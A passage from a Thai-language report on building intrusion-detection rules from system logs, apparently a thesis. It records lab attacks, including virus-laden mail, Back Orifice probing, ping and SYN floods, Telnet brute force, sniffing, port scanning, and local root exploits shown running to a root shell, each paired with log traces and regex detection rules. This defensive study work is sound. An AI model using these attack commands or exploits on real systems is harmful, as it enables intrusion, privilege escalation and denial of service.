MailScanner\[\d+\]: .*.Virus and Content Scanning: Starting
MailScanner\[\d+\]: .*.Virus Scanning
MailScanner\[\d+\]: .*.Saved infected
MailScanner\[\d+\]: .*.Cleaned: Delivered \d+ cleaned messages
MailScanner\[\d+\]: .*.Sender Warnings: Delivered \d+ warnings to virus senders
MailScanner\[\d+\]: .*.Notices: Warned about \d+ messages
MailScanner\[\d+\]: .*.Disinfection:* Attempting to disinfect \d+ messages
MailScanner\[\d+\]: .*.Virus Re-scanning: Sophos found \d+ infections
MailScanner\[\d+\]: .*.Disinfection: Rescan found only \d+ viruses
MailScanner\[\d+\]: .*.MailScanner child dying of old age
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- โปรแกรม secure shell / login /su
sshd(pam_unix)\[\d+\]: .*.session opened for user .*. by (uid=0)
sshd(pam_unix)\[ \d+\]: .*.session closed for user .*.
su(pam_unix)\[\d+\]: .*.session opened for user .*. by .*.
su(pam_unix)\[\d+\]: .*.session closed for user .*.
login(pam_unix)\[\d+\]: .*.session opened for user .*. by .*.
login(pam_unix)\[\d+\]: .*.session closed for user .*.

- โปรแกรม cron
CRON\[\d+\]: \(root\) .*.
CROND\[\d+\]: \(mailman\) .*.

5.8.2  การสรางกฎของการตรวจจับการบุกรุก
การสรางกฎสําหรับการตรวจจับการบุกรุกตองอาศัยขอมูลล็อกท่ีเปนรองรอยท่ี

เกิดขึ้นจากการบุกรุกซ่ึงในการเก็บรองรอยการบุกรุกนั้นไดจากการทดสอบบุกรุกดวยการโจมตี
ดวยวิธีการตางๆ ในเครือขายท่ีใชสําหรับการทดสอบ โดยสามารถแบงตามรูปแบบการโจมตไีด
เปนแบบ Active attack และ Passive attack

5.8.2.1  การเก็บรองรอยการบุกรุกจากการโจมตีแบบ Active Attack
 สําหรับวิธีการท่ีใชโจมตีแบบ Active Attack เพ่ือเก็บรองรอยการบุกรุก จะ

ใชวิธีการบุกรุกในรูปแบบตางๆ คือการโจมตีโดยการใชโปรแกรมไวรัส เวิรม โทรจัน DoS 
(Denial of Service และ Brute-force attack  ซ่ึงรายละเอียดการทดสอบเปนดังนี้

- ไวรัส
เคร่ืองคอมพิวเตอรท่ีใชระบบปฏิบัติการยูนิกซจะไมไดรับผลกระทบจากการโจม

ตีของไวรัสโดยตรง แตถาหากเคร่ืองดังกลาวทําหนาท่ีบริการเมล ซ่ึงปจจุบันไฟลหรือ
โปรแกรมไวรัสมักจะถูกแนบมากับเมลท่ีสงไปยังผูใชตางๆ ทําใหเคร่ืองคอมพิวเตอร
เหลานี้ถูกใชใหเปนตัวกลางในการแพรกระจายของไวรัสไปยังเคร่ืองของผูใชท่ีใช
ระบบปฏิบัติการ Windows ดังนั้นในการตรวจจับและปองกันการแพรกระจายของ
ไวรัสท่ีสงมากับเมล จึงจะตองทําการติดตั้งระบบการคนหาและสกัดก้ันไมใหเมลท่ีมี
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ไฟลหรือโปรแกรมไวรัสถูกสงไปยังผูใชอ่ืนๆ ซ่ึงโปรแกรมท่ีทําหนาท่ีใหบริการรับสง
เมลท่ีใชงานอยูคือ sendmail ไมมีความสามารถดังกลาว ดังนั้นในการทดสอบจึงได
ติดตั้งโปรแกรมท่ีทําหนาท่ีในการแยกไฟลตางๆท่ีมีการแนบมากับอีเมลเพ่ือสงไปให
โปรแกรมคนหาไวรัสทําการคนหาไวรัสในไฟลดังกลาวแลวรายงานผลของการคนหา
ลงในล็อกไฟลรวมท้ังสกัดก้ันไฟลท่ีมีไวรัสไวเพ่ือปองกันการแพรกระจายของไวรัส 
โดยในการทดสอบนี้จะใชโปรแกรม MailScanner ซ่ึงเปนโปรแกรมประเภท 
opensource ทํางานรวมกับโปรแกรมคนหาไวรัสช่ือ Sophos Anti-virus รุนทดลองใช
งาน 30 วัน ท่ีทํางานบนระบบปฏิบัติการ Linux ซ่ึงโปรแกรมท้ังสองนี้จะติดตั้งไวท่ี
เคร่ือง seclab10.cslab.net ซ่ึงทําหนาท่ีเปนเมลเซิรฟเวอร และเคร่ืองนี้จะเปนเคร่ือง
เปาหมายของการโจมตี และในการโจมตีจะใชเคร่ือง seclab11.cslab.net ดังภาพ
ประกอบ 5.10

ภาพประกอบ 5.10 แผนภาพการทดสอบการโจมตีดวยไวรัส

สําห รับก า ร โ จมตี ทําโดยก า รส ง เมลพร อมกับแนบไฟล ไ ว รัสจ ากเค ร่ือง
seclab11.cslab.net ไปยังบัญชีผูใชบนเคร่ือง seclab10.cslab.net และการสงเมล
พรอมกับแนบไฟลไวรัสระหวางบัญชีผูใชภายในเคร่ือง seclab10.cslab.net โดยไวรัส
ท่ีใชทดสอบการโจมตีมีดังนี้

- CIH/Chernobyl
- Melissa
- W32/MyDoom-A
- W32/Sobig-F
- eicar

ซ่ึงผลการโจมตีพบวาขอมูลล็อกท่ีเปนรองรอยท่ีเกิดขึ้นการโจมตีของไวรัสมีลักษณะ
ดังนี้

เคร่ืองที่ใชโจมตี
seclab11.cslab.net

(10.0.1.11)

เคร่ืองเปาหมาย
seclab10.cslab.net

(10.0.1.10)
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Jan 30 16:18:01 seclab10 sendmail[25546]: j0U9HoF25546: from=
<root@seclab10.cslab.net>, size=212643, class=0, nrcpts=1, msgid=
<Pine.LNX.4.33.0501301611420.25448-208000@seclab10.cslab.net>,
proto=ESMTP, daemon=MTA, relay=seclab10.cslab.net [127.0.0.1]
Jan 30 16:18:03 seclab10 MailScanner[29120]: New Batch: Scanning 1
messages, 213115 bytes
Jan 30 16:18:16 seclab10 MailScanner[29120]: Virus and Content Scanning:
Starting
Jan 30 16:18:19 seclab10 MailScanner[29120]: >>> Virus 'W32/Sobig-F' found in
file ./j0U9HoF25546/Win32.Sobig.Fmm.zip/your_details.pif
Jan 30 16:18:19 seclab10 MailScanner[29120]: >>> Virus 'W32/MyDoom-A'
found in file ./j0U9HoF25546/W32-Mydoom1.zip/doc.cmd
Jan 30 16:18:19 seclab10 MailScanner[29120]: >>> Virus 'W32/MyDoom-A'
found in file ./j0U9HoF25546/W32-Mydoom1.zip
Jan 30 16:18:19 seclab10 MailScanner[29120]: >>> Virus 'WM97/Melissa-BE'
found in file ./j0U9HoF25546/W97M.Melissa.zip/melissa.doc
Jan 30 16:18:19 seclab10 MailScanner[29120]: >>> Virus 'W32/Bagle-A' found in
file ./j0U9HoF25546/I-Worm.Bagle.a.zip/I-Worm.Bagle.a
Jan 30 16:18:20 seclab10 MailScanner[29120]: >>> Virus 'EICAR-AV-Test' found
in file ./j0U9HoF25546/eicar.com
Jan 30 16:18:20 seclab10 MailScanner[29120]: >>> Virus 'W95/CIH-10xx' found
in file ./j0U9HoF25546/chernobl.zip/CIH_14.EXE
Jan 30 16:18:20 seclab10 MailScanner[29120]: Virus Scanning: Sophos found 7
infections
Jan 30 16:18:21 seclab10 MailScanner[29120]: Virus Scanning: Found 7 viruses
Jan 30 16:18:21 seclab10 MailScanner[29120]: Filename Checks: Windows/DOS
Executable (eicar.com)
Jan 30 16:18:21 seclab10 MailScanner[29120]: Other Checks: Found 1 problems
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected "eicar.com" to
/var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected "I-
Worm.Bagle.a.zip" to
/var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected "W32-
Mydoom1.zip" to /var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected
"Win32.Sobig.Fmm.zip" to
/var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected "chernobl.zip" to
/var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Saved infected
"W97M.Melissa.zip" to
/var/spool/MailScanner/quarantine/20050130/j0U9HoF25546
Jan 30 16:18:21 seclab10 MailScanner[29120]: Cleaned: Delivered 1 cleaned
messages

ขอมูลล็อกเหลานี้จะถูกสงผานคา facility ของ mail และคา priority ตั้งแตระดับ 
info เปนตนไป หลังจากไดขอมูลรองรอยการบุกรุกแลวก็สามารถนํามาเขียนเปนกฎ
สําหรับการตรวจจับไวรัสได  เชน กําหนดกฎในการตรวจจับวา หากตองการตรวจพบ
ไวรัสชนิดใดเกิน 3 คร้ังในระยะเวลา 5 นาทีก็ใหสงอีเมลยังบัญชีช่ือ ssupacho  
ก็เขียนกฎการตรวจจับไดดังนี้

mailto:<root@seclab10.cslab.net>
mailto:<Pine.LNX.4.33.0501301611420.25448-208000@seclab10.cslab.net>
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Virus (\S+) found in file::Found virus $1::Correlation-*** be careful
***::email=ssupacho::0::3::300

- เวิรมและโทรจัน
สําหรับการเก็บรองรอยการบุกรุกและทดสอบระบบโดยการโจมตีดวยเวิรมและ

โทรจันนั้น จะใชวิธีการท่ีเหมือนกับการโจมตีดวยไวรัส เนื่องจากปจจุบันโปรแกรม
ประเภทเวิรมและโทรจันใชวิธีการแพรกระจายผานการสงเมลพรอมกับแนบไฟลเวิรม
หรือโทรจันไปยังเปาหมายซ่ึงเหมือนกับกรณีของไวรัส ดังนั้นวิธีการเก็บรองรอยและ
การตรวจจับจึงเหมือนกับกรณีของไวรัส นอกจากนี้ในกรณีของโทรจันนั้นหากเคร่ือง
เปาหมายของการโจมตีไดถูกติดตั้งโปรแกรมมาโทรจันแลวก็อาจจะมีการเปดชองทาง
เพ่ือใชสําหรับการติดตอเขามาของผูบุกรุกในภายหลัง ดังนั้นในการตรวจจับก็
สามารถทําไดโดยการตรวจสอบพอรตตางๆท่ีเปดใชงานอยูวามีความผิดปกติไปจาก
เดิมหรือไม และในกรณีท่ีผูบุกรุกมีความพยายามติดตอเขามายังเคร่ืองท่ีมีโปรแกรม
โทรจันติดตั้งอยู ก็สามารถตรวจจับไดโดยอาศัยการตรวจสอบขอมูลในแพ็กเก็ตท่ีสง
มายังเคร่ืองคอมพิวเตอรเปามายไดเชนกัน ดังนั้นในการทดสอบการบุกรุกจึงติดตั้ง
โปรแกรม Snort ซ่ึงเปนโปรแกรมท่ีใชสําหรับตรวจจับการบุกรุกทางเครือขาย
(NIDS) เพ่ิมเติมลงในเคร่ืองท่ีเปนเปาหมายของการโจมตี

ภาพประกอบ 5.11 แผนภาพการทดสอบการโจมตีดวยโทรจัน

จากภาพประกอบ 5.11 เคร่ืองเปาหมายของการโจมตีคือ seclab10.cslab.net ได 
ติดตั้งโปรแกรม Snort เพ่ิมเขาไป และเคร่ืองท่ีใชโจมตีนั้นเปนเคร่ืองท่ีอยูในเครือ
ขายของภาควิชาวิทยาการคอมพิวเตอร หมายเลข IP เปน 172.28.80.165 ใชระบบ 
ปฏิบัติการ Windows 98 และในการทดสอบการโจมตีจะใชโปรแกรมช่ือ BOPing 
2.00 ซ่ึงโปรแกรมนี้ใชสําหรับการคนหาวาเคร่ืองใดบางท่ีมีโปรแกรมมาโทรจันช่ือ 
Back Orifice ทํางานอยู ซ่ึงจอภาพโปรแกรม BOPing 2.00 แสดงไดดังภาพ
ประกอบ 5.12

เคร่ืองที่ใชโจมตี
172.28.80.165

เคร่ืองเปาหมาย
seclab10.cslab.net

(10.0.1.10)
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ภาพประกอบ 5.12 จอภาพการทํางานของโปรแกรม BOPing 2.00

ซ่ึงการทํางานทดสอบโจมตีโดยใชโปรแกรมดังกลาวพบวาขอมูลล็อกท่ีเปนรองรอยท่ี
เกิดขึ้นการโจมตีมีลักษณะดังนี้

Jun 27 11:32:39 seclab10 snort: [105:1:1] spp_bo: Back Orifice Traffic detected
(key: 31337) {UDP} 172.28.80.165:4510 -> 10.0.1.10:31337
Jun 27 11:32:54 seclab10 snort: [105:1:1] spp_bo: Back Orifice Traffic detected
(key: 31337) {UDP} 172.28.80.165:4511 -> 10.0.1.10:2313

ขอมูลล็อกเหลานี้จะถูกสงผานคา facility ของ auth และคา priority ตั้งแตระดับ 
alert เปนตนไป หลังจากไดขอมูลรองรอยการบุกรุกแลวก็สามารถนํามาเขียนเปนกฎ
สําหรับการตรวจจับโทรจัน Back Orifice ไดดังนี้

Back Orifice Traffic detected::Found trojan – Back Orifice::Correlation-*** plase
verify trojan in your system ***::email=ssupacho::0::0::0

- Denial of Service (DoS)
การโจมตีแบบ DoS เปนการโจมตีท่ีจะพยายามทําใหงานท่ีทําหรือบริการตางๆท่ี

ทํางานอยูบนเคร่ืองเปาหมายไมสามารถทํางานไดโดยการสงคํารองขอ (requests) ไป
ยังเคร่ืองเปาหมายเปนจํานวนมากจนเกินความสามารถท่ีเคร่ืองนั้นจะใหบริการได 
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จนหยุดการทํางานหรือไมสามารถใหบริการไดตามปกติ โดยการทดสอบโจมตีแบบนี้
เพ่ือเก็บรองรอยและทดสอบระบบตรวจจับการบุกรุกท่ีพัฒนาขึ้นแสดงไดดังภาพ
ประกอบ 5.13

ภาพประกอบ 5.13 แผนภาพการทดสอบการโจมตีแบบ DoS

การโจมตีแบบ DoS สวนใหญจะเปนการโจมตีผานระบบเครือขาย ดังนั้นในการ
ทดสอบการบุกรุกจึงติดตั้งโปรแกรม Snort ซ่ึงเปนโปรแกรมท่ีใชสําหรับตรวจจับการ
บุกรุกทางเครือขาย (NIDS) เพ่ิมเติมลงในเคร่ืองท่ีเปนเปาหมายของการโจมตีดวย 
สําหรับรายละเอียดวิธีการท่ีใชโจมตีมี 3 วิธีดังนี้
Ping Flood
        เปนการโจมตีโดยการสงแพ็กเก็ต ICMP Echo Request ซ่ึงเปนแพ็กเก็ตแบบ
เดียวกับท่ีไดจากคําส่ัง Ping ไปยังเคร่ืองท่ีตองการโจมตีเปนปริมาณมากๆ อยางรวด
เร็ว ซ่ึงในการทดสอบคร้ังนี้ใชโปรแกรมช่ือ ICMP Bomber ซ่ึงไดจากอินเทอรเน็ต ซ่ึง
จอภาพการทํางานของโปรแกรมแสดงไดดังภาพประกอบท่ี 5.14

ภาพประกอบ 5.14 จอภาพการทํางานของโปรแกรม ICMP Bomber

เคร่ืองที่ใชโจมตี
172.28.80.165

เคร่ืองเปาหมาย
seclab10.cslab.net

(10.0.1.10)
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โดยทําการโจมตีจากเคร่ืองหมายเลข IP 172.28.80.165 ไปยังเคร่ืองเปาหมายคือ 
10.0.1.10   ผลขอมูลล็อกท่ีเปนรองรอยการบุกรุกท่ีเกิดขึ้นเปนดังนี้

Jun 27 11:00:09 seclab10 snort: [1:499:3] ICMP Large ICMP Packet
[Classification: Potentially Bad Traffic] [Priority: 2]: {ICMP} 172.28.80.165 ->
10.0.1.10
Jun 27 11:01:00 seclab10 snort: [1:499:3] ICMP Large ICMP Packet
[Classification: Potentially Bad Traffic] [Priority: 2]: {ICMP} 172.28.80.165 ->
10.0.1.10

ขอมูลล็อกเหลานี้จะถูกสงผานคา facility ของ auth และคา priority ตั้งแตระดับ 
alert เปนตนไป หลังจากไดขอมูลรองรอยการบุกรุกแลวก็สามารถนํามาเขียนเปนกฎ
สําหรับการตรวจจับการโจมตี Ping Flood ไดดังนี้

Large ICMP Packet::Found Ping Flood attack::Correlation-***  be careful
***::email=ssupacho::0::0::0

SYN Flood
การโจมตีวิธี SYN Flood ทําโดยการสรางแพ็กเก็ต TCP ท่ีตั้งคา SYN เพ่ือขอ

เร่ิมการเช่ือมตอพรอมท้ังทําการปลอมหมายเลข IP ตนทางใหเปนของเคร่ืองท่ีไมมี
อยูจริงดวย แลวจึงสงแพ็กเก็ตดังกลาวในปริมาณมากไปยังเคร่ืองเปาหมายตามราย
ละเอียดท่ีไดกลาวไวในหัวขอท่ี 2.3.8 โดยในการทดสอบไดใชโปรแกรมช่ือ synflood 
ท่ีเขียนดวยภาษาซี โดยทําการโจมตีจากเคร่ืองหมายเลข IP 10.0.1.1 ไปยังเคร่ือง 
10.0.1.10 ดังภาพประกอบ 5.15

ภาพประกอบ 5.15 แผนภาพการทดสอบการโจมตีแบบ SYN Flood

โดยท่ีในการโจมตีจะระบุพอรตท่ีจะโจมตีเปนพอรตหมายเลข 80 และจํานวนท่ีขอ
การเช่ือมตอเปน 1000 คร้ัง ซ่ึงวิธีการเรียกใชโปรแกรม synflood เปนดังนี้

เคร่ืองที่ใชโจมตี
seclab1.cslab.net

(10.0.1.1)

เคร่ืองเปาหมาย
seclab10.cslab.net

(10.0.1.10)
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[root@seclab1 root]# ./synflood 10.0.1.1 10.0.1.10 80 1000
synflooding 10.0.1.10 from 10.0.1.1 port 80 1000 times
spoofing 129.62.13.81
spoofing 129.62.13.191
…
spoofing 129.62.13.27
spoofing 129.62.13.90

ซ่ึงผลการทดสอบในตอนแรกไมปรากฎรองรอยการบุกรุกใดๆ เกิดขึ้นในล็อก
ไฟลของระบบ แตจากการศึกษาพบวาระบบปฏิบัติการ Linux มีกลไกในปองกันและ
การตรวจจับการโจมตีดวยวิธีนี้ แตปกติจะถูกกําหนดไวไมใหทํางาน ซ่ึงหากตองการ
ใชงานกลไกดังกลาวสามารถทําไดโดยการแกไขไฟล /etc/sysctl.conf โดยเพ่ิมขอมูล

net.ipv4.tcp_syncookies = 1
แลวทําการโจมตีพบวามีขอมูลล็อกท่ีเปนรองรอยของการโจมตีเกิดขึ้นเปนดังนี้

May  9 23:37:59 seclab11 kernel: possible SYN flooding on port 80. Sending
cookies.

ขอมูลล็อกนี้จะสงผานคา facility ของ kernel และคา priority ในระดับ info
จากขอมูลรองรอยการบุกรุกนี้สามารถนํามาเขียนเปนกฎในการตรวจจับไดดังนี้

SYN Flood detected::possible SYN Flood attack::Correlation-***
SYN Flooding ***::email=ssupacho

- Brute-force attack
การโจมตีวิธีนี้เปนการพยายามถอดรหัสขอความท่ีมีการเขารหัสไว ซ่ึงสวนใหญก็

คือ รหัสผานของผูใช  โดยการพยายามใชทุกคาท่ีเปนไปได ซ่ึงในการทดสอบจะใชวิธี
การโจมตีผานทางพอรตของ Telnet ซ่ึงหมายเลขพอรตคือ 23 โดยทําการโจมตีจาก
เคร่ือง 172.28.80.165 ไปท่ีเคร่ือง 10.0.1.10 ดังภาพประกอบท่ี 5.16

ภาพประกอบท่ี 5.16 แผนภาพการโจมตีแบบ Brute-force attack

เคร่ืองที่ใชโจมตี
172.28.80.165

เคร่ืองเปาหมาย
seclab10.cslab.net

(10.0.1.10)
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ในการโจมตีใชโปรแกรม Brutus ในการทํางานซ่ึงจอภาพของโปรแกรมนี้แสดง
ไดภาพประกอบท่ี 5.17

ภาพประกอบ 5.17 จอภาพการทํางานของโปรแกรม Brutus

โดยขอมูลล็อกท่ีเปนรองรอยการบุกรุกท่ีเกิดขึ้นมีลักษณะดังนี้

Apr  6 14:01:49 seclab10 login(pam_unix)[5227]: authentication failure;
logname= uid=0 euid=0 tty=pts/2 ruser= rhost=172.28.80.165  user=ssupacho

Apr  6 14:01:49 seclab10 login(pam_unix)[5228]: authentication failure;
logname= uid=0 euid=0 tty=pts/3 ruser= rhost=172.28.80.165  user=ssupacho

Apr  6 14:01:49 seclab10 login(pam_unix)[5230]: authentication failure;
logname= uid=0 euid=0 tty=pts/5 ruser= rhost=172.28.80.165  user=ssupacho

Apr  6 14:01:49 seclab10 login(pam_unix)[5229]: authentication failure;
logname= uid=0 euid=0 tty=pts/4 ruser= rhost=172.28.80.165  user=ssupacho

Apr  6 14:01:49 seclab10 login[5221]: FAILED LOGIN 1 FROM
172.28.80.165 FOR ssupacho, Authentication failure

ซ่ึงจากขอมูลรองรอยการบุกรุกดังกลาว สามารถนํามาเขียนสําหรับการตรวจจับ
การโจมตีแบบ Brute-force ผานชองทางของ Telnet ไดดังนี้

authentication failure.* rhost=(\S+)  user=(\S+)::User $2 login failure more than 10
times from $1::** Password Brute-force attack **::email=ssupacho,root::0::10::60

สําหรับการเขียนกฎเพ่ือตรวจจับการเกิดเหตุการณในลักษณะนี้ควรพิจารณาถึง
เหตุการณปกติท่ีบางคร้ังผูใชปกติอาจจะมีการใสรหัสผานท่ีไมถูกตอง ซ่ึงจะทําใหเกิด
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ล็อกในรูปแบบนี้ไดเชนกัน แตส่ิงท่ีแตกตางระหวางการใสรหัสผานไมถูกตองตาม
ปกติกับการพยายามเดารหัสผานก็คือจํานวนคร้ังของการเขาสูระบบไมสําเร็จในชวง
ระยะเวลาหนึ่งจะมีปริมาณท่ีไมเทากัน โดยความถ่ีหรือจํานวนคร้ังในกรณีท่ีเปนการ
โจมตีจะมีคาท่ีสูงกวามาก ดังนั้นในกฎดังกลาวจึงไดกําหนดใหตองมีจํานวน
เหตุการณเกิดขึ้น 10 คร้ังในระยะเวลา 1 นาที เทานั้นจึงจะถือวามีการโจมตีเกิดขึ้น
แลวทําการแจงเตือน

5.8.2.2  การเก็บรองรอยการบุกรุกจากการโจมตีแบบ Passive Attack
สําหรับวิธีการท่ีใชโจมตีแบบ Passive Attack เพ่ือเก็บรองรอยการบุกรุกและ

ทดสอบระบบใชวิธีการบุกรุกในรูปแบบตางๆ คือ sniffer, Port Scanning, Exploit ซ่ึงราย
ละเอียดการทดสอบเปนดังนี้

- sniffer
การโจมตีแบบนี้เปนการดักจับขอมูลท่ีอยูในเครือขาย ซ่ึงในขณะท่ีโปรแกรม 

สนิฟเฟอรทํางาน ตัวโปรแกรมจะตองกําหนดใหเน็ตเวิรกอะแดปเตอรอยูในโหมด 
การทํางานพิเศษท่ีเรียกวา โพรมิสคูอัสโหมด (Promiscuous Mode) จึงจะทําให 
สนิฟเฟอรสามารถดักจับแพ็กเก็ตไดทุกแพ็กเก็ตท่ีวิ่งไปมาในเครือขายท่ีมันถูกติดตั้ง
ไวได ดังนั้นในการตรวจจับจึงใชวิธีตรวจสอบวาหากเน็ตเวิรกอะแดปเตอรของเคร่ือง
คอมพิวเตอรถูกกําหนดใหทํางานในโพรมิสคูอัสโหมด ก็อาจจะเปนไปไดวามี
โปรแกรมประเภทสนิฟเฟอรทํางานอยูบนเคร่ืองคอมพิวเตอร ซ่ึงในการทดสอบ
ระบบจะไดส่ังใหโปรแกรมช่ือ sniffer ทํางานบนเคร่ือง 10.0.1.10 พบวาขอมูลล็อก
ท่ีเปนรองรอยการบุกรุกท่ีเกิดขึ้นมีลักษณะดังนี้

Jan 31 01:49:57 seclab10 kernel: device lo entered promiscuous mode
Jan 31 01:50:48 seclab10 kernel: device eth0 entered promiscuous mode

โดยท่ีการบันทึกขอมูลล็อกนี้ทําผานคา facility ของ kernel และคา priority ตั้ง
แตระดับ info ขึ้นไป ซ่ึงหากนําขอมูลรองรอยการบุกรุกดังกลาวมาเขียนเปนกฎ
สําหรับการตรวจจับการโจมตีดวยสนิฟเฟอร สามารถเขียนกฎไดดังนี้

device (\S+) entered promiscuous mode::Device $1 entered promiscuous
mode::*** device $1 entered promiscuous mode, check sniffer program in  your
computer***::email=ssupacho
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- Surveillance/Probe
สําหรับการโจมตีท่ีการสํารวจขอมูลตางๆของระบบท่ีตองการโจมตี ไมวาจะเปน

คนหาบริการท่ีจะสามารถบุกรุกหรือขามผานเขาไปยังระบบได ดวยวิธีการ Port 
Scanning หรือการตรวจบัญชีผูใชของระบบเมลดวยคําส่ัง VRFY หรือ EXPN นั้น 
ในการทดสอบไดใชโปรแกรมช่ือ GFI LANguard Network Security Scanner โดย 
ติดตั้งโปรแกรมนี้ไวในเคร่ือง 172.28.80.165 แลวทําการสแกนไปยังเคร่ืองเปา
หมายคือ 10.0.1.10 ซ่ึงขอมูลล็อกท่ีเปนรองรอยท่ีเกิดขึ้นของเหตุการณเปนดังนี้

Apr  6 16:15:14 seclab10 xinetd[1095]: START: ftp pid=8749
from=172.28.80.165

Apr  6 16:15:14 seclab10 xinetd[1095]: START: telnet pid=8751
from=172.28.80.165

Apr  6 16:15:14 seclab10 xinetd[1095]: START: pop3 pid=8753
from=172.28.80.165

Apr  6 16:15:14 seclab10 xinetd[1095]: START: imap pid=8754
from=172.28.80.165

…
Apr  6 16:15:54 seclab10 sendmail[8752]: NOQUEUE: [172.28.80.165] did

not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Apr  6 16:15:57 seclab10 sendmail[8789]: NOQUEUE: [172.28.80.165] did

not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Apr  6 16:16:35 seclab10 ftpd[8802]: FTP session closed
Apr  6 16:16:35 seclab10 xinetd[1095]: EXIT: ftp pid=8802 duration=16(sec)
Apr  6 16:16:43 seclab10 ftpd[8803]: FTP session closed
Apr  6 16:16:43 seclab10 xinetd[1095]: EXIT: ftp pid=8803 duration=15(sec)
Apr  6 16:17:06 seclab10 sendmail[8804]: j369H6908804: [172.28.80.165]:

EXPN root [rejected]
Apr  6 16:17:06 seclab10 sendmail[8804]: j369H6908804: [172.28.80.165]:

VRFY root [rejected]

โดยท่ีการบันทึกขอมูลของเหตุการณลงในล็อกไฟลทําผานคา priority ในระดับ 
info ซ่ึงหากนําขอมูลรองรอยการบุกรุกดังกลาวมาเขียนเปนกฎสําหรับการตรวจจับ
การโจมตีดวยวิธีการ Port Scanning ก็จะสามารถเขียนกฎไดดังนี้

NOQUEUE: \[(.*?)\] did not issue .*? during connection to MTA::Client quit before
communicating, may be scanning service from $1::Correlation-*** be careful
***::email=ssupacho

\[([0-9\.]+)]: (VRFY|vrfy) (\S+) \[rejected\]::rejected VRFY, may be scanning
service from $1::Correlation-*** be careful  ***::email=ssupacho

- Exploit
สําหรับการบุกรุกโดยอาศัยชองโหวของโปรแกรมท่ีทํางานอยูบนเคร่ืองนั้น 

สวนใหญจะเปนการพยายามอาศัยใชชองโหวเหลานั้นในการบุกรุกเพ่ือใหไดซ่ึงสิทธิ
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ของผูใช root ซ่ึงในการทดสอบระบบไดทําโจมตีเคร่ือง 10.0.1.10 ซ่ึงรายละเอียด
การโจมตีแตละวิธีดังนี้

- local exploit for sendmail 8.11.6
เปนการโจมตีในลักษณะ buffer overflow ของฟงกชัน prescan() เพ่ือใหไดสิทธิ

ของ root ทําการทดสอบโจมตีบนเคร่ือง 10.0.1.10 โดยใชบัญชีผูใชเปนssupacho 
แลวส่ังใหโปรแกรมช่ือ sendmail_prescan ทํางานโดยโปรแกรมนี้ไดจากอินเทอรเน็ต 
ซ่ึงขั้นตอนการทํางานเปนดังนี้

[ssupacho@seclab10 ssupacho]$ ./sendmail_prescan -h
Local sendmail 8.11.6 exploit by sorbo (sorbox@yahoo.com)
Usage: ./sendmail_prescan <opts>
-h      this lame message
-t      target
-b      brute force

Id      Description     pvpbuf          zero            chunk           shellcode addr
0)      Slackware 8.0   0xbffdfef4      0xbffe15d6      0x80f30a0       0xbffe1f36

1)      Redhat 7.3      0xbffdfcd0      0xbffe19a6      0x80f30a0       0xbffe1f36
2)      Redhat 7.2      0xbffdfcd0      0xbffe19a6      0x80f30a0       0xbffe1f36

[ssupacho@seclab10 ssupacho]$ ./sendmail_prescan -t2
Local sendmail 8.11.6 exploit by sorbo (sorbox@yahoo.com)
Attempting to exploit Redhat 7.2
pvpbuf=         0xbffdfcd0
zero=           0xbffe19a6
chunk=          0x80f30a0
shellcode=      0xbffe1f36
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\... prescan: token too long
aliasing/forwarding loop broken (1094795585 aliases deep; 10 max)
sh-2.05# id
uid=0(root) gid=0(root) groups=500(ssupacho)
sh-2.05#

ซ่ึงหลังจากส่ังใหโปรแกรมนี้ทํางานแลว และใชคําส่ัง id เพ่ือแสดงขอมูลของผูใช
(uid) และกลุมผูใช (gid) พบวามีคาเปนศูนย ซ่ึงแสดงมีสิทธิเปนผูใช root และเม่ือ
ตรวจสอบขอมูลล็อกเพ่ือหารองรอยของเหตุการณนี้ พบวาไมมีรองรอยใดๆ เกิดขึ้น
ในล็อกไฟล ดังนั้นจึงไมสามารถเขียนกฎเพ่ือตรวจจับการบุกรุกดวยวิธีนี้ได

mailto:(sorbox@yahoo.com)
mailto:(sorbox@yahoo.com)
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- Linux kernel ptrace/kmod local root exploit
การโจมตีวิธีนี้จะอาศัยชองโหวของเหตุการณ race condition ในไฟล  

kernel/kmod.c ทําการทดสอบโจมตีบนเคร่ือง 10.0.1.10 โดยใชบัญชีผูใชเปน
ssupacho แลวส่ังใหโปรแกรมช่ือ ptrace-kmod ทํางานโดยโปรแกรมนี้ไดจาก
อินเทอรเน็ต ซ่ึงขั้นตอนการทํางานเปนดังนี้

[ssupacho@seclab10 ssupacho]$ ./ptrace-kmod
sh-2.05# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6
(disk),10(wheel)
sh-2.05#

ซ่ึงหลังจากส่ังใหโปรแกรมนี้ทํางานแลว และใชคําส่ัง id เพ่ือแสดงขอมูลของผูใช
(uid) และกลุมผูใช (gid) พบวามีคาเปนศูนย ซ่ึงแสดงมีสิทธิเปนผูใช root และเม่ือ
ตรวจสอบขอมูลล็อกเพ่ือหารองรอยของเหตุการณนี้ พบวาไมมีรองรอยใดๆ เกิดขึ้น
ในล็อกไฟล ดังนั้นจึงไมสามารถเขียนกฎเพ่ือตรวจจับการบุกรุกดวยวิธีนี้ได

- DoS with too many fork()
เปนการโจมตีในลักษณะ DoS บนเคร่ืองท่ีกําลังใชงานอยู โดยใชโปรแกรมซ่ึงได

จากอินเทอรเน็ต พัฒนาดวยภาษาซี ช่ือ superforker โดยโปรแกรมนี้จะสรางโปรเซส
ขึ้นมาจํานวนมากโดยใชฟงกชัน fork() จนทําใหเกิดความเสียหายตอทรัพยากรของ
ระบบ ซ่ึงการทดสอบโจมตีทําบนเคร่ือง 10.0.1.10 โดยใชบัญชีผูใชเปน ssupacho 
